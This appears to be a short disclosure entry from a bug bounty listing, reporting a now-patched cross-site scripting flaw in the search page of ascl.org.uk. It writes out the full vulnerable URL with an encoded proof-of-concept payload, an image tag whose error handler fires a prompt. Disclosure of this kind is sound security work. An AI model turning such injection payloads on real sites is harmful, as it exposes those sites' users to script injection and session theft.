ascl.org.uk XSS vulnerability

Vulnerable URL: https://www.ascl.org.uk/utilities/search-results.html?searchkeyword=%3Cimg+src%3Dx+onerror%3Djavascript%3Aprompt%28%22OPENBUGBOUNTY%22%29%3Etype= Details: Description| Value ---|--- Patched:| Yes, at 17.08.2017 Latest check for patch:| 17.08.2017 21:05 GMT Vulnerability type:| XSS...